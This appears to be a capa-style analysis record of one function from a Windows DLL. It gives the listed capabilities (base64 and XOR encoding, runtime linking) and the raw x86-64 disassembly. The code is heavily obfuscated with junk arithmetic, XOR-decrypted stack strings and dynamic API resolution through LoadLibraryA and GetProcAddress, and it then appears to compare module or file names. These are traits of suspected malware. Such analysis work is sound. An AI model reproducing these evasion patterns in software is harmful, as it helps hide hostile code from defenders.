Function at 0x18034c550
Capabilities:
Encode data using base64
Encode data using xor
Link many functions at runtime

Disassembly:
mov byte [rsp + 8], 0x55
movzx ecx, byte [0x180399deb]
movzx eax, byte [0x180399deb]
or eax, ecx
mov byte [0x180399deb], al
movzx ecx, byte [0x180399deb]
movzx eax, byte [0x180399deb]
or eax, ecx
mov byte [0x180399deb], al
movzx ecx, byte [0x180399deb]
movzx eax, byte [rsp + 8]
and eax, ecx
mov byte [0x180399deb], al
movzx eax, byte [rsp + 8]
movzx ecx, byte [rsp + 8]
xor ecx, eax
mov byte [rsp + 8], cl
movzx eax, byte [0x180399deb]
test al, al
je 0x18034aff8
movzx eax, byte [0x180399deb]
xor edx, edx
movzx ecx, byte [0x180399deb]
div ecx
mov byte [0x180399deb], al
movzx eax, byte [0x180399deb]
test al, al
je 0x18034b017
movzx ecx, byte [0x180399deb]
xor edx, edx
movzx eax, byte [rsp + 8]
div ecx
mov byte [rsp + 8], dl
movzx ecx, byte [0x180399deb]
movzx eax, byte [0x180399deb]
and eax, ecx
mov byte [0x180399deb], al
movzx eax, byte [rsp + 8]
test al, al
je 0x18034b04c
movzx eax, byte [0x180399deb]
xor edx, edx
movzx ecx, byte [rsp + 8]
div ecx
mov byte [0x180399deb], dl
movzx ecx, byte [0x180399deb]
movzx eax, byte [rsp + 8]
sub ecx, eax
mov byte [0x180399deb], cl
movzx eax, byte [rsp + 8]
test al, al
je 0x18034b07f
movzx eax, byte [0x180399deb]
xor edx, edx
movzx ecx, byte [rsp + 8]
div ecx
mov byte [0x180399deb], al
movzx ecx, byte [0x180399deb]
movzx eax, byte [rsp + 8]
sub ecx, eax
mov byte [0x180399deb], cl
movzx eax, byte [rsp + 8]
test al, al
je 0x18034b0ae
movzx eax, byte [rsp + 8]
xor edx, edx
movzx ecx, byte [rsp + 8]
div ecx
mov byte [rsp + 8], al
movzx ecx, byte [0x180399deb]
movzx eax, byte [rsp + 8]
and eax, ecx
mov byte [rsp + 8], al
movzx ecx, byte [0x180399deb]
movzx eax, byte [rsp + 8]
imul eax, ecx
mov byte [0x180399deb], al
movzx eax, byte [0x180399deb]
test al, al
je 0x18034b0f4
movzx ecx, byte [0x180399deb]
xor edx, edx
movzx eax, byte [rsp + 8]
div ecx
mov byte [rsp + 8], al
movzx eax, byte [rsp + 8]
test al, al
je 0x18034b10f
movzx eax, byte [rsp + 8]
xor edx, edx
movzx ecx, byte [rsp + 8]
div ecx
mov byte [rsp + 8], dl
jmp 0x18034b120
sub rsp, 0x28
mov byte [rsp + 0x30], 0xd3
movzx ecx, byte [0x1803998f7]
movzx eax, byte [0x1803998f7]
or eax, ecx
mov byte [0x1803998f7], al
movzx eax, byte [rsp + 0x30]
movzx ecx, byte [rsp + 0x30]
add ecx, eax
mov byte [rsp + 0x30], cl
movzx eax, byte [0x1803998f7]
test al, al
je 0x18034b172
movzx eax, byte [0x1803998f7]
xor edx, edx
movzx ecx, byte [0x1803998f7]
div ecx
mov byte [0x1803998f7], al
movzx ecx, byte [0x1803998f7]
movzx eax, byte [rsp + 0x30]
or eax, ecx
mov byte [0x1803998f7], al
movzx ecx, byte [0x1803998f7]
movzx eax, byte [rsp + 0x30]
add eax, ecx
mov byte [0x1803998f7], al
movzx ecx, byte [0x1803998f7]
movzx eax, byte [0x1803998f7]
xor eax, ecx
mov byte [0x1803998f7], al
movzx eax, byte [rsp + 0x30]
movzx ecx, byte [rsp + 0x30]
xor ecx, eax
mov byte [rsp + 0x30], cl
movzx ecx, byte [0x1803998f7]
movzx eax, byte [rsp + 0x30]
and eax, ecx
mov byte [0x1803998f7], al
movzx ecx, byte [0x1803998f7]
movzx eax, byte [0x1803998f7]
and eax, ecx
mov byte [0x1803998f7], al
movzx ecx, byte [0x1803998f7]
movzx eax, byte [rsp + 0x30]
imul eax, ecx
mov byte [0x1803998f7], al
movzx ecx, byte [0x1803998f7]
movzx eax, byte [rsp + 0x30]
add eax, ecx
mov byte [0x1803998f7], al
movzx ecx, byte [0x1803998f7]
movzx eax, byte [rsp + 0x30]
imul eax, ecx
mov byte [rsp + 0x30], al
movzx eax, byte [rsp + 0x30]
test al, al
je 0x18034b241
movzx eax, byte [rsp + 0x30]
xor edx, edx
movzx ecx, byte [rsp + 0x30]
div ecx
mov byte [rsp + 0x30], al
call fcn.18034b2d0
mov byte [rsp + 0x30], 0x4d
movzx eax, byte [0x18039a01e]
test al, al
je 0x18034b26a
movzx ecx, byte [0x18039a01e]
xor edx, edx
movzx eax, byte [rsp + 0x30]
div ecx
mov byte [rsp + 0x30], al
movzx eax, byte [rsp + 0x30]
movzx ecx, byte [rsp + 0x30]
imul ecx, eax
mov byte [rsp + 0x30], cl
movzx ecx, byte [0x18039a01e]
movzx eax, byte [rsp + 0x30]
and eax, ecx
mov byte [0x18039a01e], al
movzx eax, byte [rsp + 0x30]
movzx ecx, byte [rsp + 0x30]
imul ecx, eax
mov byte [rsp + 0x30], cl
movzx eax, byte [rsp + 0x30]
test al, al
je 0x18034b2bb
movzx eax, byte [rsp + 0x30]
xor edx, edx
movzx ecx, byte [rsp + 0x30]
div ecx
mov byte [rsp + 0x30], dl
call fcn.18034b6d0
add rsp, 0x28
jmp 0x18034b8d0
mov byte [rsp + 8], 0xf0
movzx ecx, byte [0x18039a702]
movzx eax, byte [rsp + 8]
xor eax, ecx
mov byte [rsp + 8], al
movzx ecx, byte [0x18039a702]
movzx eax, byte [rsp + 8]
add eax, ecx
mov byte [rsp + 8], al
movzx ecx, byte [0x18039a702]
movzx eax, byte [0x18039a702]
add eax, ecx
mov byte [0x18039a702], al
movzx eax, byte [rsp + 8]
test al, al
je 0x18034b92a
movzx eax, byte [rsp + 8]
xor edx, edx
movzx ecx, byte [rsp + 8]
div ecx
mov byte [rsp + 8], dl
movzx ecx, byte [0x18039a702]
movzx eax, byte [0x18039a702]
sub ecx, eax
mov byte [0x18039a702], cl
movzx ecx, byte [0x18039a702]
movzx eax, byte [0x18039a702]
and eax, ecx
mov byte [0x18039a702], al
movzx ecx, byte [0x18039a702]
movzx eax, byte [rsp + 8]
imul eax, ecx
mov byte [0x18039a702], al
movzx ecx, byte [0x18039a702]
movzx eax, byte [rsp + 8]
or eax, ecx
mov byte [rsp + 8], al
movzx ecx, byte [0x18039a702]
movzx eax, byte [0x18039a702]
and eax, ecx
mov byte [0x18039a702], al
movzx eax, byte [rsp + 8]
movzx ecx, byte [rsp + 8]
imul ecx, eax
mov byte [rsp + 8], cl
movzx ecx, byte [0x18039a702]
movzx eax, byte [rsp + 8]
sub eax, ecx
mov byte [rsp + 8], al
movzx eax, byte [rsp + 8]
test al, al
je 0x18034b9d5
movzx eax, byte [0x18039a702]
xor edx, edx
movzx ecx, byte [rsp + 8]
div ecx
mov byte [0x18039a702], dl
movzx ecx, byte [0x18039a702]
movzx eax, byte [rsp + 8]
xor eax, ecx
mov byte [0x18039a702], al
movzx ecx, byte [0x18039a702]
movzx eax, byte [rsp + 8]
or eax, ecx
mov byte [rsp + 8], al
movzx ecx, byte [0x18039a702]
movzx eax, byte [rsp + 8]
and eax, ecx
mov byte [rsp + 8], al
movzx ecx, byte [0x18039a702]
movzx eax, byte [rsp + 8]
xor eax, ecx
mov byte [rsp + 8], al
movzx ecx, byte [0x18039a702]
movzx eax, byte [0x18039a702]
imul eax, ecx
mov byte [0x18039a702], al
movzx ecx, byte [0x18039a702]
movzx eax, byte [rsp + 8]
imul eax, ecx
mov byte [0x18039a702], al
movzx ecx, byte [0x18039a702]
movzx eax, byte [0x18039a702]
add eax, ecx
mov byte [0x18039a702], al
jmp 0x18034c550
push rbp
push r12
lea rbp, [rsp - 0x3e8]
sub rsp, 0x4e8
xor r12d, r12d
xorps xmm0, xmm0
movss dword [rbp + 0x400], xmm0
mov edx, r12d
mov dword [rbp + 0x410], 0x8f2e2
mov dword [rbp + 0x408], 0x43585e
mov ecx, dword [rbp + 0x408]
mov eax, dword [rbp + 0x410]
add ecx, eax
mov dword [rbp + 0x408], ecx
mov eax, dword [rbp + 0x408]
mov dword [rbp + 0x410], 0x297
xorps xmm0, xmm0
mov dword [rbp + 0x408], 0x151
inc rdx
mov ecx, dword [rbp + 0x408]
mov eax, dword [rbp + 0x410]
add ecx, eax
mov dword [rbp + 0x408], ecx
mov eax, dword [rbp + 0x408]
cvtsi2ss xmm0, rax
mulss xmm0, dword [rbp + 0x400]
movss dword [rbp + 0x400], xmm0
xorps xmm0, xmm0
mov dword [rbp + 0x410], 0x35
mov dword [rbp + 0x408], 0x1bf
mov ecx, dword [rbp + 0x408]
mov eax, dword [rbp + 0x410]
add ecx, eax
mov dword [rbp + 0x408], ecx
mov eax, dword [rbp + 0x408]
cvtsi2ss xmm0, rax
addss xmm0, dword [rbp + 0x400]
movss dword [rbp + 0x400], xmm0
mov dword [rbp + 0x410], 0x8f2e2
mov dword [rbp + 0x408], 0x43585e
mov ecx, dword [rbp + 0x408]
mov eax, dword [rbp + 0x410]
add ecx, eax
mov dword [rbp + 0x408], ecx
mov eax, dword [rbp + 0x408]
cmp rdx, rax
jb 0x18034c5a2
cmp qword [0x18039c7e0], r12
jne 0x18034cef8
movdqa xmm0, xmmword [0x18038f690]
xor eax, eax
mov byte [rsp + 0x2a], al
mov qword [rsp + 0x4d8], rsi
movdqu xmmword [rsp + 0x41], xmm0
mov dword [rsp + 0x51], 0x232a22
mov dword [rsp + 0x20], 0x34270322
mov dword [rsp + 0x24], 0x3d763e26
mov word [rsp + 0x28], 0x3736
mov qword [rbp + 0x400], r12
mov rax, qword [rbp + 0x400]
mov qword [rsp + 0x4d0], rdi
mov qword [rsp + 0x4c0], r15
nop
mov rcx, qword [rbp + 0x400]
mov rax, qword [rbp + 0x400]
add cl, 0x3f
xor cl, byte [rsp + rax + 0x42]
mov rax, qword [rbp + 0x400]
mov byte [rsp + rax + 0x42], cl
mov rax, qword [rbp + 0x400]
inc rax
mov qword [rbp + 0x400], rax
mov rax, qword [rbp + 0x400]
cmp rax, 0x12
jb 0x18034c6d0
mov byte [rsp + 0x54], r12b
mov qword [rbp + 0x400], r12
mov rax, qword [rbp + 0x400]
mov rcx, qword [rbp + 0x400]
mov rax, qword [rbp + 0x400]
add cl, 0x53
xor cl, byte [rsp + rax + 0x21]
mov rax, qword [rbp + 0x400]
mov byte [rsp + rax + 0x21], cl
mov rax, qword [rbp + 0x400]
inc rax
mov qword [rbp + 0x400], rax
mov rax, qword [rbp + 0x400]
cmp rax, 9
jb 0x18034c721
mov rax, qword gs:[0x58]
mov ecx, dword [0x18039b468]
mov r15d, 4
mov byte [rsp + 0x2a], r12b
mov rdi, qword [rax + rcx*8]
mov eax, dword [rdi + r15]
cmp dword [0x18039d510], eax
jle 0x18034c7b8
lea rcx, [0x18039d510]
call fcn.180360f8c
cmp dword [0x18039d510], 0xffffffff
jne 0x18034c7b8
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, [0x18039d510]
mov qword [0x1803a15b8], rax
call fcn.180360f2c
mov eax, dword [rdi + r15]
cmp dword [0x1803a1558], eax
jle 0x18034c7f3
lea rcx, [0x1803a1558]
call fcn.180360f8c
cmp dword [0x1803a1558], 0xffffffff
jne 0x18034c7f3
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x1803a1558]
mov qword [0x1803a1560], rax
call fcn.180360f2c
lea rcx, [rsp + 0x21]
call qword [0x1803a15b8]
mov rcx, rax
lea rdx, [rsp + 0x42]
call qword [0x1803a1560]
mov rsi, rax
test rax, rax
je 0x18034cee0
movdqa xmm0, xmmword [0x18038fb90]
movdqu xmmword [rsp + 0x55], xmm0
mov dword [rsp + 0x65], 0xc2e7ec
mov qword [rbp + 0x400], r12
mov rcx, qword [rbp + 0x400]
mov qword [rsp + 0x4e0], rbx
mov qword [rsp + 0x4c8], r14
nop dword [rax]
mov rcx, qword [rbp + 0x400]
mov rax, qword [rbp + 0x400]
add cl, 0x72
xor cl, byte [rsp + rax + 0x56]
mov rax, qword [rbp + 0x400]
mov byte [rsp + rax + 0x56], cl
mov rax, qword [rbp + 0x400]
inc rax
mov qword [rbp + 0x400], rax
mov rax, qword [rbp + 0x400]
cmp rax, 0x12
jb 0x18034c850
mov byte [rsp + 0x68], r12b
call fcn.1800015d0
mov ecx, dword [rdi + r15]
mov rbx, rax
cmp dword [0x18039d510], ecx
jle 0x18034c8d6
lea rcx, [0x18039d510]
call fcn.180360f8c
cmp dword [0x18039d510], 0xffffffff
jne 0x18034c8d6
mov rcx, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x1803a15b8], rcx
lea rcx, [0x18039d510]
call fcn.180360f2c
mov eax, dword [rdi + r15]
cmp dword [0x1803a1558], eax
jle 0x18034c911
lea rcx, [0x1803a1558]
call fcn.180360f8c
cmp dword [0x1803a1558], 0xffffffff
jne 0x18034c911
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x1803a1558]
mov qword [0x1803a1560], rax
call fcn.180360f2c
mov rcx, rbx
call qword [0x1803a15b8]
mov rcx, rax
lea rdx, [rsp + 0x56]
call qword [0x1803a1560]
mov r14, rax
test rax, rax
je 0x18034ced0
movdqa xmm0, xmmword [0x18038f860]
xor eax, eax
movdqu xmmword [rsp + 0x69], xmm0
mov byte [rsp + 0x7b], al
mov word [rsp + 0x79], 0x6061
mov qword [rbp + 0x400], r12
mov rcx, qword [rbp + 0x400]
nop dword [rax]
mov rcx, qword [rbp + 0x400]
mov rax, qword [rbp + 0x400]
add cl, 3
xor cl, byte [rsp + rax + 0x6a]
mov rax, qword [rbp + 0x400]
mov byte [rsp + rax + 0x6a], cl
mov rax, qword [rbp + 0x400]
inc rax
mov qword [rbp + 0x400], rax
mov rax, qword [rbp + 0x400]
cmp rax, 0x11
jb 0x18034c960
mov byte [rsp + 0x7b], r12b
call fcn.1800015d0
mov ecx, dword [rdi + r15]
mov rbx, rax
cmp dword [0x18039d510], ecx
jle 0x18034c9e6
lea rcx, [0x18039d510]
call fcn.180360f8c
cmp dword [0x18039d510], 0xffffffff
jne 0x18034c9e6
mov rcx, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x1803a15b8], rcx
lea rcx, [0x18039d510]
call fcn.180360f2c
mov eax, dword [rdi + r15]
cmp dword [0x1803a1558], eax
jle 0x18034ca21
lea rcx, [0x1803a1558]
call fcn.180360f8c
cmp dword [0x1803a1558], 0xffffffff
jne 0x18034ca21
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x1803a1558]
mov qword [0x1803a1560], rax
call fcn.180360f2c
mov rcx, rbx
call qword [0x1803a15b8]
mov rcx, rax
lea rdx, [rsp + 0x6a]
call qword [0x1803a1560]
test rax, rax
je 0x18034ced0
mov qword [rbp + 0x400], 0x39f
mov qword [rbp + 0x408], 0x61
mov rdx, qword [rbp + 0x400]
mov rcx, qword [rbp + 0x408]
add rdx, rcx
mov qword [rbp + 0x400], rdx
mov rbx, qword [rbp + 0x400]
call rax
mov rcx, rax
lea r9, [rbp + 0x418]
mov r8d, ebx
lea rdx, [rbp - 0x40]
call rsi
movdqa xmm0, xmmword [0x18038fbf0]
movdqu xmmword [rsp + 0x2b], xmm0
mov dword [rsp + 0x3b], 0xefe7fbe7
mov word [rsp + 0x3f], 0xd6
mov qword [rbp + 0x400], r12
mov rax, qword [rbp + 0x400]
nop word [rax + rax]
mov rcx, qword [rbp + 0x400]
mov rax, qword [rbp + 0x400]
sub cl, 0x7c
xor cl, byte [rsp + rax + 0x2c]
mov rax, qword [rbp + 0x400]
mov byte [rsp + rax + 0x2c], cl
mov rax, qword [rbp + 0x400]
inc rax
mov qword [rbp + 0x400], rax
mov rax, qword [rbp + 0x400]
cmp rax, 0x14
jb 0x18034cac0
mov byte [rsp + 0x40], r12b
call fcn.1800015d0
mov edx, dword [rdi + r15]
mov rbx, rax
cmp dword [0x18039d510], edx
jle 0x18034cb46
lea rcx, [0x18039d510]
call fcn.180360f8c
cmp dword [0x18039d510], 0xffffffff
jne 0x18034cb46
mov rdx, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, [0x18039d510]
mov qword [0x1803a15b8], rdx
call fcn.180360f2c
mov eax, dword [rdi + r15]
cmp dword [0x1803a1558], eax
jle 0x18034cb81
lea rcx, [0x1803a1558]
call fcn.180360f8c
cmp dword [0x1803a1558], 0xffffffff
jne 0x18034cb81
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x1803a1558]
mov qword [0x1803a1560], rax
call fcn.180360f2c
mov rcx, rbx
call qword [0x1803a15b8]
mov rcx, rax
lea rdx, [rsp + 0x2c]
call qword [0x1803a1560]
test rax, rax
je 0x18034ced0
mov qword [rbp + 0x400], 3
mov qword [rbp + 0x408], 0x1d
mov rdx, qword [rbp + 0x400]
mov rcx, qword [rbp + 0x408]
add rdx, rcx
lea rcx, [rbp - 0x60]
mov qword [rbp + 0x400], rdx
mov rdx, qword [rbp + 0x400]
call rax
mov qword [rbp + 0x408], 8
mov r9, r12
mov qword [rbp + 0x400], 0x18
mov rcx, qword [rbp + 0x400]
mov rax, qword [rbp + 0x408]
add rcx, rax
mov qword [rbp + 0x400], rcx
mov rax, qword [rbp + 0x400]
nop dword [rax]
nop dword [rax + rax]
movsx r8d, byte [rbp + r9 - 0x60]
mov edx, r8d
sub r8b, 0x41
cmp r8b, 0x19
lea eax, [rdx + 0x20]
movzx ecx, al
movzx eax, dl
cmova ecx, eax
mov byte [rbp + r9 - 0x60], cl
inc r9
mov qword [rbp + 0x408], 8
mov qword [rbp + 0x400], 0x18
mov rcx, qword [rbp + 0x400]
mov rax, qword [rbp + 0x408]
add rcx, rax
mov qword [rbp + 0x400], rcx
mov rax, qword [rbp + 0x400]
cmp r9, rax
jb 0x18034cc20
mov qword [rbp + 0x408], r12
xor edx, edx
mov qword [rbp + 0x400], 8
mov rsi, r12
mov rcx, qword [rbp + 0x400]
mov rax, qword [rbp + 0x408]
add rcx, rax
mov qword [rbp + 0x400], rcx
mov rcx, qword [rbp + 0x400]
mov eax, dword [rbp + 0x418]
div rcx
test rax, rax
je 0x18034ced0
nop word [rax + rax]
mov qword [rbp + 0x408], 0x16
lea rdx, [rbp - 0x80]
mov qword [rbp + 0x400], 0xa
mov rcx, qword [rbp + 0x400]
mov rax, qword [rbp + 0x408]
add rcx, rax
mov qword [rbp + 0x400], rcx
mov r8, qword [rbp + 0x400]
mov rcx, qword [rbp + rsi*8 - 0x40]
call r14
mov qword [rbp + 0x408], 0x14
mov r9, r12
mov qword [rbp + 0x400], 0xc
mov rcx, qword [rbp + 0x400]
mov rax, qword [rbp + 0x408]
add rcx, rax
mov qword [rbp + 0x400], rcx
mov rax, qword [rbp + 0x400]
nop dword [rax]
movsx r8d, byte [rbp + r9 - 0x80]
mov edx, r8d
sub r8b, 0x41
cmp r8b, 0x19
lea eax, [rdx + 0x20]
movzx ecx, al
movzx eax, dl
cmova ecx, eax
mov byte [rbp + r9 - 0x80], cl
inc r9
mov qword [rbp + 0x408], 0x14
mov qword [rbp + 0x400], 0xc
mov rcx, qword [rbp + 0x400]
mov rax, qword [rbp + 0x408]
add rcx, rax
mov qword [rbp + 0x400], rcx
mov rax, qword [rbp + 0x400]
cmp r9, rax
jb 0x18034cd50
mov edx, r12d
cmp byte [rbp - 0x80], r12b
je 0x18034cdc9
nop dword [rax + rax]
inc edx
cmp byte [rbp + rdx - 0x80], r12b
jne 0x18034cdc0
mov ecx, r12d
cmp byte [rbp - 0x60], r12b
je 0x18034cf0c
inc ecx
cmp byte [rbp + rcx - 0x60], r12b
jne 0x18034cdd6
cmp ecx, 1
jl 0x18034cf0c
movsxd rax, edx
lea rbx, [rbp - 0x80]
add rbx, rax
lea r11, [rbp - 0x80]
lea rax, [rbp - 0x80]
cmp rax, rbx
jae 0x18034cec4
movsxd rdi, ecx
nop word [rax + rax]
xor dl, dl
lea rax, [rbp - 0x60]
xor r8b, r8b
mov r9, rdi
mov rcx, r11
cmp rdi, 4
jb 0x18034ce88
mov r10, rdi
shr r10, 2
nop dword [rax]
movzx edx, byte [rcx]
movzx r8d, byte [rax]
test dl, dl
je 0x18034ceab
cmp dl, r8b
jne 0x18034ceab
movzx edx, byte [rcx + 1]
movzx r8d, byte [rax + 1]
test dl, dl
je 0x18034ceab
cmp dl, r8b
jne 0x18034ceab
movzx edx, byte [rcx + 2]
movzx r8d, byte [rax + 2]
test dl, dl
je 0x18034ceab
cmp dl, r8b
jne 0x18034ceab
movzx edx, byte [rcx + 3]
add rcx, 4
movzx r8d, byte [rax + 3]
add rax, 4
test dl, dl
je 0x18034ceab
cmp dl, r8b
jne 0x18034ceab
sub r10, 1
jne 0x18034ce30
and r9d, 3
test r9, r9
je 0x18034ceab
sub rcx, rax
movzx edx, byte [rax + rcx]
movzx r8d, byte [rax]
lea rax, [rax + 1]
test dl, dl
je 0x18034ceab
cmp dl, r8b
jne 0x18034ceab
sub r9, 1
jne 0x18034ce90
movzx eax, r8b
movzx ecx, dl
sub ecx, eax
test ecx, ecx
je 0x18034cf07
inc r11
cmp r11, rbx
jb 0x18034ce10
mov rax, qword [rbp + rsi*8 - 0x40]
mov qword [0x18039c7e0], rax
mov r14, qword [rsp + 0x4c8]
mov rbx, qword [rsp + 0x4e0]
mov rsi, qword [rsp + 0x4d8]
mov rdi, qword [rsp + 0x4d0]
mov r15, qword [rsp + 0x4c0]
add rsp, 0x4e8
pop r12
pop rbp
jmp 0x18034cf70
test r11, r11
je 0x18034cec4
mov qword [rbp + 0x408], r12
xor edx, edx
mov qword [rbp + 0x400], 8
inc rsi
mov rcx, qword [rbp + 0x400]
mov rax, qword [rbp + 0x408]
add rcx, rax
mov qword [rbp + 0x400], rcx
mov rcx, qword [rbp + 0x400]
mov eax, dword [rbp + 0x418]
div rcx
cmp rsi, rax
jb 0x18034ccd0
jmp 0x18034ced0
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x3df0]
mov eax, 0x3ef0
call fcn.180361950
sub rsp, rax
xor r15d, r15d
xorps xmm0, xmm0
movss dword [rbp + 0x3e48], xmm0
mov edx, r15d
mov dword [rsp + 0x60], 0x8f2e2
mov dword [rsp + 0x68], 0x43585e
mov ecx, dword [rsp + 0x68]
mov eax, dword [rsp + 0x60]
add ecx, eax
mov dword [rsp + 0x60], ecx
mov eax, dword [rsp + 0x60]
nop word [rax + rax]
mov dword [rsp + 0x68], 0x297
xorps xmm0, xmm0
mov dword [rsp + 0x60], 0x151
inc rdx
mov ecx, dword [rsp + 0x60]
mov eax, dword [rsp + 0x68]
add ecx, eax
mov dword [rsp + 0x60], ecx
mov eax, dword [rsp + 0x60]
cvtsi2ss xmm0, rax
mulss xmm0, dword [rbp + 0x3e48]
movss dword [rbp + 0x3e48], xmm0
xorps xmm0, xmm0
mov dword [rsp + 0x68], 0x35
mov dword [rsp + 0x60], 0x1bf
mov ecx, dword [rsp + 0x60]
mov eax, dword [rsp + 0x68]
add ecx, eax
mov dword [rsp + 0x60], ecx
mov eax, dword [rsp + 0x60]
cvtsi2ss xmm0, rax
addss xmm0, dword [rbp + 0x3e48]
movss dword [rbp + 0x3e48], xmm0
mov dword [rsp + 0x60], 0x8f2e2
mov dword [rsp + 0x68], 0x43585e
mov ecx, dword [rsp + 0x68]
mov eax, dword [rsp + 0x60]
add ecx, eax
mov dword [rsp + 0x60], ecx
mov eax, dword [rsp + 0x60]
cmp rdx, rax
jb 0x18034cfe0
movdqa xmm0, xmmword [0x18038f650]
movdqu xmmword [rbp + 0x18a], xmm0
mov byte [rbp + 0x1860], r15b
mov dword [rbp + 0x19a], 0x1b3c35
mov qword [rsp + 0x50], r15
mov rax, qword [rsp + 0x50]
nop dword [rax]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
add cl, 0x49
xor cl, byte [rbp + rax + 0x18b]
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0x18b], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x12
jb 0x18034d0b0
mov byte [rbp + 0x19d], r15b
call fcn.1800015d0
mov r14d, dword [0x18039b468]
mov rdi, rax
mov rsi, qword gs:[0x58]
mov r12d, 4
mov rcx, qword [rsi + r14*8]
mov ecx, dword [r12 + rcx]
cmp dword [0x18039d510], ecx
jle 0x18034d14c
lea rcx, [0x18039d510]
call fcn.180360f8c
cmp dword [0x18039d510], 0xffffffff
jne 0x18034d14c
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, [0x18039d510]
mov qword [0x1803a15b8], rax
call fcn.180360f2c
mov rax, qword [rsi + r14*8]
mov eax, dword [r12 + rax]
cmp dword [0x1803a1558], eax
jle 0x18034d18b
lea rcx, [0x1803a1558]
call fcn.180360f8c
cmp dword [0x1803a1558], 0xffffffff
jne 0x18034d18b
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x1803a1558]
mov qword [0x1803a1560], rax
call fcn.180360f2c
mov rcx, rdi
mov qword [rsp + 0x3ee8], rbx
call qword [0x1803a15b8]
mov rcx, rax
lea rdx, [rbp + 0x18b]
call qword [0x1803a1560]
mov rdi, rax
mov r13, 0xffffffffffffffff
test rax, rax
jne 0x18034d1c2
xor dl, dl
jmp 0x18034d8c4
lea rax, [rbp + 0x650]
mov qword [rbp + 0x448], rax
lea rdx, [rbp + 0x650]
mov qword [rsp + 0x70], 0x115
mov qword [rsp + 0x50], 0x192
mov rcx, qword [rsp + 0x70]
mov rax, qword [rsp + 0x50]
add rcx, rax
mov qword [rsp + 0x70], rcx
mov r8, qword [rsp + 0x70]
mov rcx, qword [0x18039c7e0]
call rdi
lea rcx, [rbp + 0x650]
movzx eax, byte [rcx]
inc rcx
test al, al
jne 0x18034d210
lea rax, [rbp + 0x650]
cmp rcx, rax
jb 0x18034d23a
cmp byte [rcx], 0x5c
je 0x18034d23a
dec rcx
lea rax, [rbp + 0x650]
cmp rcx, rax
jae 0x18034d226
lea rax, [rbp + 0x650]
cmp rcx, rax
lea rdx, [rbp + 0x21d0]
cmovb rcx, r15
inc rcx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
mov byte [rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x18034d260
lea rcx, [rbp + 0x650]
nop dword [rax + rax]
movzx eax, byte [rcx]
inc rcx
test al, al
jne 0x18034d280
lea rax, [rbp + 0x650]
cmp rcx, rax
jb 0x18034d2aa
cmp byte [rcx], 0x5c
je 0x18034d2aa
dec rcx
lea rax, [rbp + 0x650]
cmp rcx, rax
jae 0x18034d296
lea rax, [rbp + 0x650]
cmp rcx, rax
lea rdx, [rbp + 0xbf0]
cmovb rcx, r15
mov byte [rcx + 1], r15b
lea rcx, [rbp + 0x650]
nop word [rax + rax]
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
mov byte [rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x18034d2d0
xor eax, eax
mov word [rbp - 0x78], 0x330b
mov byte [rbp - 0x76], al
mov qword [rsp + 0x50], r15
mov rax, qword [rsp + 0x50]
nop word [rax + rax]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
add cl, 0x19
xor cl, byte [rbp + rax - 0x77]
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax - 0x77], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 1
jb 0x18034d300
mov ecx, r15d
mov byte [rbp - 0x76], r15b
cmp byte [rbp + 0xbf0], r15b
je 0x18034d34e
inc ecx
cmp byte [rbp + rcx + 0xbf0], r15b
jne 0x18034d342
mov eax, ecx
lea rdx, [rbp - 0x77]
lea rcx, [rbp + 0xbf0]
add rcx, rax
sub rdx, rcx
movzx eax, byte [rdx + rcx]
mov byte [rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x18034d361
call fcn.18034c140
mov rdi, rax
call fcn.18034c260
mov r14, rax
call fcn.18034c390
mov qword [rsp + 0x58], rax
test rdi, rdi
je 0x18034d78e
test r14, r14
je 0x18034d78e
test rax, rax
je 0x18034d78e
lea rdx, [rbp + 0x900]
lea rcx, [rbp + 0xbf0]
call rdi
mov rsi, rax
cmp rax, r13
je 0x18034d785
mov r13d, dword [0x18039b468]
xor r12d, r12d
mov r15, qword gs:[0x58]
test byte [rbp + 0x900], 0x10
jne 0x18034d758
lea r9, [rbp + 0x92c]
lea r10, [rbp + 0x21d0]
nop
movsx eax, byte [r10]
movsx r8d, byte [r9]
mov edx, eax
sub al, 0x41
cmp al, 0x19
lea ecx, [rdx + 0x20]
cmova ecx, edx
lea edi, [r8 - 0x41]
cmp dil, 0x19
lea r11d, [r8 + 0x20]
mov eax, r11d
cmova eax, r8d
inc r10
cmp eax, ecx
jne 0x18034d42b
inc r9
test r8b, r8b
jne 0x18034d3f0
jmp 0x18034d758
movsx eax, byte [r10 - 1]
mov ecx, eax
sub al, 0x41
cmp al, 0x19
lea edx, [rcx + 0x20]
cmova edx, ecx
cmp dil, 0x19
cmova r11d, r8d
cmp r11d, edx
je 0x18034d758
lea rcx, [rbp + 0x92c]
lea rdx, [rbp + 0x1860]
nop dword [rax + rax]
movzx eax, byte [rcx]
inc rcx
mov byte [rdx], al
inc rdx
test al, al
jne 0x18034d460
call fcn.18034c4b0
movzx ecx, byte [rbp + 0x92c]
movzx edi, byte [rax]
cmp cl, dil
jne 0x18034d4b0
